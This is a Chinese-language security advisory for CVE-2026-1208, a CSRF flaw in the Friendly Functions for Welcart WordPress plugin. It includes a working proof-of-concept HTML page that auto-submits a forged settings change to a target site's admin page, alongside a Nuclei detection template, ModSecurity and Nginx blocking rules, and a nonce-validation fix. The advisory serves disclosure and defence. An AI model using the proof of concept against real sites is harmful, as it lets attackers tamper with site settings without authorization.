关键词: CVE-2026-1208, Friendly Functions for Welcart 漏洞, CSRF, 跨站请求伪造, WordPress 安全, WordPress 插件漏洞, CWE-352, Welcart 安全, 设置篡改, WordPress CVE 2026
Friendly Functions for Welcart WordPress 插件 CSRF 漏洞(CVE-2026-1208) - 一种安全缺陷,允许未经身份验证的攻击者通过伪造请求修改插件设置。
在 Friendly Functions for Welcart 插件中发现了一个跨站请求伪造(CSRF)漏洞,该漏洞允许未经身份验证的攻击者通过诱使管理员点击恶意链接来更新插件设置。
发现者: Kai Aizen (SnailSploit)
公开日期: 2026 年 1 月 23 日
CVSS 分数: 4.3(中危)
CWE: CWE-352 - 跨站请求伪造(CSRF)
插件: Friendly Functions for Welcart
攻击类型: 跨站请求伪造导致设置更新
所需权限: 无(未经身份验证的攻击 + 社会工程学)
WordPress 的 Friendly Functions for Welcart 插件在所有版本(包括 1.2.5 版本)中容易受到跨站请求伪造的攻击。这是因为设置页面缺少或错误的 nonce 验证。这使得未经身份验证的攻击者能够通过伪造请求更新插件设置,前提是他们可以诱使站点管理员执行诸如点击链接之类的操作。
此漏洞允许未经身份验证的攻击者:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
该漏洞存在于设置页面的实现中,具体表现为:
该漏洞在以下位置被发现:
ffw_function_settings.php - 第 53 行ffw_function_settings.php - 第 58 行攻击需要社会工程学手段,诱使已通过身份验证的管理员在登录 WordPress 网站的同时访问恶意页面或点击精心构造的链接。
目标:已安装 Friendly Functions for Welcart 的 WordPress 管理员
方法:带有自动提交表单的恶意 HTML 页面
触发条件:管理员点击链接或访问攻击者控制的页面
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
<input type="hidden" name="ffw_setting_option" value="malicious_value" />
<!-- 根据需要添加其他设置字段 -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
⚠️ 警告: 此 PoC 仅用于教育和授权测试目的。
# 检查是否安装了受影响版本
wp plugin list | grep -i "friendly-functions-for-welcart"
# 获取具体版本
wp plugin get friendly-functions-for-welcart --field=version
Nuclei 模板:
id: CVE-2026-1208
info:
name: Friendly Functions for Welcart - CSRF 导致设置更新
author: SnailSploit
severity: medium
description: |
WordPres 的 Friendly Functions for Welcart 插件在版本 <= 1.2.5 中
由于缺少 nonce 验证,容易受到 CSRF 攻击。
reference:
- https://github.com/SnailSploit/CVE-2026-1208
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-1208
cwe-id: CWE-352
tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Friendly Functions for Welcart"
- type: regex
regex:
- "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
ModSecurity 规则:
# CVE-2026-1208 - 阻止针对 FFW 设置的 CSRF 尝试
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule &REQUEST_HEADERS:Referer "@eq 0"
# 替代方案:如果 Referer 不匹配站点域名则阻止
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026002,phase:2,t:none,\
log,deny,status:403,msg:'CVE-2026-1208 Cross-Origin Request Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"
Nginx 规则:
# CVE-2026-1208 - FFW 设置的 CSRF 保护
location /wp-admin/admin.php {
# 检查 ffw-settings 页面是否缺少正确 Referer
if ($arg_page = "ffw-settings") {
set $csrf_check "1";
}
if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
set $csrf_check "${csrf_check}1";
}
if ($csrf_check = "11") {
return 403;
}
# 传递给 PHP 处理器
try_files $uri =404;
fastcgi_pass php-fpm;
include fastcgi_params;
}
立即操作:
确保所有设置表单都实施了正确的 CSRF 保护:
// WordPress 中正确 CSRF 保护的示例
// 在表单中:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');
// 在表单处理函数中:
function process_settings_update() {
// 验证 nonce
if (!isset($_POST['ffw_settings_nonce']) ||
!wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
wp_die('Security check failed');
}
// 检查权限
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// 处理设置更新
// ...
}
研究人员:
披露流程: 通过 Wordfence 漏洞悬赏计划协调
此信息仅用于安全研究和防御目的。任何出于恶意目的利用此漏洞的行为均属非法且不道德。在测试不属于您自己的系统之前,请务必获得适当的授权。
有关此漏洞的问题或更多信息:
最后更新:2026 年 1 月 23 日
本项目的完整文章、方法论及相关研究位于:
https://snailsploit.com/security-research/cves/cve-2026-1208/
由 Kai Aizen 创建——独立进攻性安全研究人员。
snailsploit.com · 研究 · 框架 · GitHub · LinkedIn · ResearchGate · X/Twitter
相同的攻击。不同的基底。
| 指标 | 值 |
|---|
| 攻击向量 | 网络(AV:N) |
| 攻击复杂度 | 低(AC:L) |
| 所需权限 | 无(PR:N) |
| 用户交互 | 需要(UI:R) |
| 范围 | 未改变(S:U) |
| 机密性 | 无(C:N) |
| 完整性 | 低(I:L) |
| 可用性 | 无(A:N) |